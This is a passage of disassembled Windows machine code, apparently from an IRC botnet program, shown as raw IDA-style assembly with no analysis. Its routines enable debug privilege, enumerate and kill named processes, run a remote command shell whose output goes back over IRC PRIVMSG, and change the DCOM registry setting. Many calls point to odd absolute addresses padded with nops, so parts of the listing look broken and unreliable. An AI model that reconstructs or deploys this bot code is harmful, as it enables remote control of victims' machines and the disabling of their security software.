loc_419A05:				; CODE XREF: sub_4199AC+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------

loc_419A0F:				; CODE XREF: sub_4199AC+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------

loc_419A19:				; CODE XREF: sub_4199AC+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------

loc_419A23:				; CODE XREF: sub_4199AC+1Aj
		sub	eax, 7Ch
		jz	short loc_419A50
		sub	eax, 7C8h
		jz	short loc_419A49
		dec	eax
		jz	short loc_419A3F
		dec	eax
		jnz	short loc_419AAD
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------

loc_419A3F:				; CODE XREF: sub_4199AC+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------

loc_419A49:				; CODE XREF: sub_4199AC+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------

loc_419A50:				; CODE XREF: sub_4199AC+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------

loc_419A57:				; CODE XREF: sub_4199AC+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------

loc_419A5E:				; CODE XREF: sub_4199AC+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_419A97
		jz	short loc_419A90
		sub	eax, 8ADh
		jz	short loc_419AC2
		dec	eax
		dec	eax
		jz	short loc_419A89
		dec	eax
		jz	short loc_419A82
		dec	eax
		dec	eax
		jnz	short loc_419AAD
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------

loc_419A82:				; CODE XREF: sub_4199AC+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------

loc_419A89:				; CODE XREF: sub_4199AC+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------

loc_419A90:				; CODE XREF: sub_4199AC+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------

loc_419A97:				; CODE XREF: sub_4199AC+B9j
		sub	eax, 8CAh
		jz	short loc_419AC9
		sub	eax, 17h
		jz	short loc_419AC2
		sub	eax, 25h
		jz	short loc_419ABB
		sub	eax, 29h
		jz	short loc_419AB4

loc_419AAD:				; CODE XREF: sub_4199AC+35j
					; sub_4199AC+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------

loc_419AB4:				; CODE XREF: sub_4199AC+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------

loc_419ABB:				; CODE XREF: sub_4199AC+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------

loc_419AC2:				; CODE XREF: sub_4199AC+C2j
					; sub_4199AC+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------

loc_419AC9:				; CODE XREF: sub_4199AC+F0j
		push	offset aNetworkConnect ; "Network connection not found."

loc_419ACE:				; CODE XREF: sub_4199AC+40j
					; sub_4199AC+4Aj ...
		push	offset dword_4DB5F0
		call	sub_41C266
		pop	ecx
		mov	eax, offset dword_4DB5F0
		pop	ecx
		retn
sub_4199AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419AE0	proc near		; CODE XREF: sub_401ACD+467Fp

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41E0D4
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		nop
		call	near ptr 26D0000h
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_41E0D4
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41E0B7
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4CB9F4
		test	eax, eax
		jnz	short loc_419B70
		mov	esi, offset dword_4DB3EC
		push	offset unk_43A21C
		push	esi
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_419B99
; ---------------------------------------------------------------------------

loc_419B70:				; CODE XREF: sub_419AE0+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_4199AC
		pop	ecx
		mov	esi, offset dword_4DB3EC
		push	eax
		push	offset dword_43A1F0
		push	esi
		call	sub_41C266
		add	esp, 14h

loc_419B99:				; CODE XREF: sub_419AE0+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419AE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B9E	proc near		; CODE XREF: sub_4172C1+45p
					; sub_4172C1+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	near ptr 27208E7h
		nop
		push	eax
		call	dword_4CB9C8
		test	eax, eax
		jnz	short loc_419BBD
		leave
		retn
; ---------------------------------------------------------------------------

loc_419BBD:				; CODE XREF: sub_419B9E+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4CB9A0
		test	eax, eax
		jz	short loc_419BFB
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419BE4
		or	[ebp+var_8], 2
		jmp	short loc_419BE8
; ---------------------------------------------------------------------------

loc_419BE4:				; CODE XREF: sub_419B9E+3Ej
		and	[ebp+var_8], 0FFFFFFFDh

loc_419BE8:				; CODE XREF: sub_419B9E+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4CBA50
		mov	esi, eax

loc_419BFB:				; CODE XREF: sub_419B9E+32j
		push	[ebp+var_4]
		call	near ptr 2670000h
		nop
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419B9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C09	proc near		; CODE XREF: sub_401ACD+7770p
					; sub_419E38+74p

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4CBA04, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_419E08
		cmp	dword_4CB9E8, ebx
		jz	loc_419E08
		cmp	dword_4CB8F8, ebx
		jz	loc_419E08
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4CBA04
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_419DFB
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4CB9E8
		mov	esi, dword_427070
		test	eax, eax
		jz	loc_419DF6
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4CB8F8
		test	eax, eax
		jz	loc_419DF6
		mov	edi, dword_42708C
		mov	ebx, 1F0FFFh

loc_419CCD:				; CODE XREF: sub_419C09+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_419D34
		mov	[ebp+var_4], offset off_43A248

loc_419CDB:				; CODE XREF: sub_419C09+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		nop
		call	near ptr 2831B30h
		test	eax, eax
		jz	short loc_419D03
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_43A2A8
		jb	short loc_419CDB
		jmp	loc_419DDC
; ---------------------------------------------------------------------------

loc_419D03:				; CODE XREF: sub_419C09+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_419DDC
		push	0
		push	eax
		call	near ptr 2720244h
		nop
		test	eax, eax
		jnz	loc_419DDC

loc_419D2A:				; CODE XREF: sub_419C09+1B9j
		push	[ebp+var_4]
		call	esi
		jmp	loc_419DDC
; ---------------------------------------------------------------------------

loc_419D34:				; CODE XREF: sub_419C09+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_419DC7
		cmp	[ebp+arg_4], eax
		jz	loc_419DDC
		push	[ebp+var_128]
		push	8
		call	dword_4CBA04
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_419D87
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4CB8A4
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_419D8D
		lea	eax, [ebp+var_234]
		jmp	short loc_419D93
; ---------------------------------------------------------------------------

loc_419D87:				; CODE XREF: sub_419C09+15Cj
		push	[ebp+var_128]

loc_419D8D:				; CODE XREF: sub_419C09+174j
		lea	eax, [ebp+var_10C]

loc_419D93:				; CODE XREF: sub_419C09+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h
		jmp	loc_419D2A
; ---------------------------------------------------------------------------

loc_419DC7:				; CODE XREF: sub_419C09+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419E0F

loc_419DDC:				; CODE XREF: sub_419C09+F5j
					; sub_419C09+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4CB8F8
		test	eax, eax
		jnz	loc_419CCD
		xor	ebx, ebx

loc_419DF6:				; CODE XREF: sub_419C09+9Dj
					; sub_419C09+B3j
		push	[ebp+var_8]
		call	esi

loc_419DFB:				; CODE XREF: sub_419C09+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx

loc_419E08:				; CODE XREF: sub_419C09+3Aj
					; sub_419C09+46j ...
		xor	eax, eax

loc_419E0A:				; CODE XREF: sub_419C09+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_419E0F:				; CODE XREF: sub_419C09+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		push	[ebp+var_8]
		mov	edi, eax
		call	esi
		push	0
		push	edi
		call	near ptr 2720244h
		nop
		test	eax, eax
		jnz	short loc_419E33
		push	edi
		call	esi
		jmp	short loc_419E08
; ---------------------------------------------------------------------------

loc_419E33:				; CODE XREF: sub_419C09+223j
		push	1
		pop	eax
		jmp	short loc_419E0A
sub_419C09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E38	proc near		; DATA XREF: sub_401ACD+2687o

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_43A448
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41C266
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_419E97
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409869
		add	esp, 14h

loc_419E97:				; CODE XREF: sub_419E38+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_419C09
		add	esp, 18h
		test	eax, eax
		jnz	short loc_419EBF
		push	offset unk_43A424
		jmp	short loc_419EC4
; ---------------------------------------------------------------------------

loc_419EBF:				; CODE XREF: sub_419E38+7Ej
		push	offset unk_43A400

loc_419EC4:				; CODE XREF: sub_419E38+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41C266
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_419EF7
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409869
		add	esp, 14h

loc_419EF7:				; CODE XREF: sub_419E38+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_415D38
		push	[ebp+var_14]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 26F0000h
		nop
		pop	edi
		pop	esi
sub_419E38	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_419F16	proc near		; CODE XREF: sub_401ACD+7712p
					; sub_40B4F5+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		nop
		call	near ptr 269027Fh
		mov	esi, eax
		test	esi, esi
		jz	short loc_419F48
		push	0
		push	esi
		nop
		call	near ptr 2720244h
		test	eax, eax
		jnz	short loc_419F48
		push	esi
		xor	edi, edi
		nop
		call	near ptr 2670000h

loc_419F48:				; CODE XREF: sub_419F16+1Aj
					; sub_419F16+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_419F16	endp

; ---------------------------------------------------------------------------
byte_419F4D	db 56h,	33h, 0F6h	; DATA XREF: ___:004015EEo
		dd 5656016Ah, 0E8565656h, 0FFFFFCADh, 0FF18C483h, 43A24435h
		dd 0D2E89000h, 0EB02266Fh
		db 0E3h

; =============== S U B	R O U T	I N E =======================================



sub_419F6D	proc near		; CODE XREF: sub_419F9D+2Ap
					; sub_419FD5+7Ep ...
		mov	eax, dword_4DBC58
		push	esi
		mov	esi, dword_427070
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419F81
		push	eax
		call	esi

loc_419F81:				; CODE XREF: sub_419F6D+Fj
		mov	eax, dword_4DBC60
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419F8E
		push	eax
		call	esi

loc_419F8E:				; CODE XREF: sub_419F6D+1Cj
		mov	eax, dword_4DBC54
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419F9B
		push	eax
		call	esi

loc_419F9B:				; CODE XREF: sub_419F6D+29j
		pop	esi
		retn
sub_419F6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419F9D	proc near		; CODE XREF: sub_401ACD+7475p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41B9C0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4DBC5C
		call	near ptr 2710000h
		nop
		test	eax, eax
		jnz	short loc_419FD0
		call	sub_419F6D
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_419FD0:				; CODE XREF: sub_419F9D+28j
		push	1
		pop	eax
		leave
		retn
sub_419F9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419FD5	proc near		; CODE XREF: sub_41A05C+D3p
					; sub_41A05C+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_43DB98
		push	[ebp+arg_4]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41A018
		push	7D0h
		nop
		call	near ptr 2680F3Dh
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_41A02F
; ---------------------------------------------------------------------------

loc_41A018:				; CODE XREF: sub_419FD5+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		add	esp, 0Ch

loc_41A02F:				; CODE XREF: sub_419FD5+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA34
		test	eax, eax
		jg	short loc_41A058
		call	sub_419F6D

loc_41A058:				; CODE XREF: sub_419FD5+7Cj
		xor	eax, eax
		leave
		retn
sub_419FD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A05C	proc near		; DATA XREF: sub_41A1B1+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4DBC64

loc_41A074:				; CODE XREF: sub_41A05C+79j
					; sub_41A05C+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4DBC58
		call	near ptr 284045Dh
		nop
		test	eax, eax
		jz	loc_41A142
		cmp	[ebp+var_4], edi
		jnz	short loc_41A0D7
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4DBC54
		nop
		call	near ptr 2840000h
		test	eax, eax
		jz	short loc_41A0CD
		cmp	[ebp+var_8], 103h
		jnz	loc_41A166

loc_41A0CD:				; CODE XREF: sub_41A05C+62j
		push	0Ah
		nop
		call	near ptr 2680F3Dh
		jmp	short loc_41A074
; ---------------------------------------------------------------------------

loc_41A0D7:				; CODE XREF: sub_41A05C+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_41A0EE

loc_41A0DE:				; CODE XREF: sub_41A05C+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_41A13C
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_41A0DE

loc_41A0EE:				; CODE XREF: sub_41A05C+80j
		mov	[ebp+var_4], esi

loc_41A0F1:				; CODE XREF: sub_41A05C+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4DBC58
		call	near ptr 270116Ch
		nop
		test	eax, eax
		jz	short loc_41A18E
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4DBC98
		call	sub_419FD5
		add	esp, 0Ch
		jmp	loc_41A074
; ---------------------------------------------------------------------------

loc_41A13C:				; CODE XREF: sub_41A05C+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_41A0F1
; ---------------------------------------------------------------------------

loc_41A142:				; CODE XREF: sub_41A05C+45j
		push	offset unk_43A4D0
		push	ebx
		push	dword_4DBC98
		call	sub_419FD5
		push	[ebp+arg_0]
		call	sub_40B6D6
		add	esp, 10h
		push	1
		call	near ptr 26F0000h
		nop

loc_41A166:				; CODE XREF: sub_41A05C+6Bj
		call	sub_419F6D
		push	offset unk_43A4A8
		push	ebx
		push	dword_4DBC98
		call	sub_419FD5
		push	[ebp+arg_0]
		call	sub_40B6D6
		add	esp, 10h
		push	edi
		call	near ptr 26F0000h
		nop

loc_41A18E:				; CODE XREF: sub_41A05C+C3j
		push	offset unk_43A478
		push	ebx
		push	dword_4DBC98
		call	sub_419FD5
		push	[ebp+arg_0]
		call	sub_40B6D6
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26F0000h
sub_41A05C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A1B1	proc near		; CODE XREF: sub_401ACD+24AAp

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_419F6D
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset dword_4346F0
		push	esi
		call	dword_4CBAA0
		test	eax, eax
		jz	loc_41A2AB
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_427108
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_41A2AB
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_41A2AB
		mov	edi, dword_427104
		push	3
		push	esi
		push	esi
		push	offset dword_4DBC5C
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		nop
		call	near ptr 2720349h
		test	eax, eax
		jz	short loc_41A2AB
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_43DB98
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		nop
		call	near ptr 2670345h
		test	eax, eax
		jnz	short loc_41A2B3

loc_41A2AB:				; CODE XREF: sub_41A1B1+2Fj
					; sub_41A1B1+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_41A361
; ---------------------------------------------------------------------------

loc_41A2B3:				; CODE XREF: sub_41A1B1+F8j
		push	[ebp+var_4]
		mov	edi, dword_427070
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4DBC58, eax
		mov	eax, [ebp+var_8]
		mov	dword_4DBC60, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4DBC54, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4DBC98, eax
		jz	short loc_41A2ED
		push	[ebp+arg_4]
		jmp	short loc_41A2EE
; ---------------------------------------------------------------------------

loc_41A2ED:				; CODE XREF: sub_41A1B1+135j
		push	ebx

loc_41A2EE:				; CODE XREF: sub_41A1B1+13Aj
		push	offset dword_4DBC64
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_43A534
		call	sub_40B3BA
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_43E928[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_41A05C
		push	esi
		push	esi
		call	near ptr 2690000h
		nop
		cmp	eax, esi
		mov	dword_43E934[edi], eax
		jnz	short loc_41A35F
		nop
		call	near ptr 269096Bh
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_43A500
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_415D38
		add	esp, 10h

loc_41A35F:				; CODE XREF: sub_41A1B1+185j
		xor	eax, eax

loc_41A361:				; CODE XREF: sub_41A1B1+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A1B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A366	proc near		; DATA XREF: sub_401ACD+2DC8o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_41A3AD
		call	sub_41A3C6
		jmp	short loc_41A3B2
; ---------------------------------------------------------------------------

loc_41A3AD:				; CODE XREF: sub_41A366+3Ej
		call	sub_41A6EA

loc_41A3B2:				; CODE XREF: sub_41A366+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B6D6
		pop	ecx
		push	0
		call	near ptr 26F0000h
		nop
sub_41A366	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A3C6	proc near		; CODE XREF: sub_41A366+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4CBAB4, edi
		jnz	loc_41A4F8
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CBA54
		test	eax, eax
		jnz	short loc_41A451
		mov	ax, word_4392A8
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CBA08
		test	eax, eax
		jz	short loc_41A433
		push	offset dword_43A7D0
		jmp	short loc_41A438
; ---------------------------------------------------------------------------

loc_41A433:				; CODE XREF: sub_41A3C6+64j
		push	offset dword_43A7B0

loc_41A438:				; CODE XREF: sub_41A3C6+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9C0
		jmp	short loc_41A464
; ---------------------------------------------------------------------------

loc_41A451:				; CODE XREF: sub_41A3C6+36j
		lea	eax, [ebp+var_214]
		push	offset dword_43A780
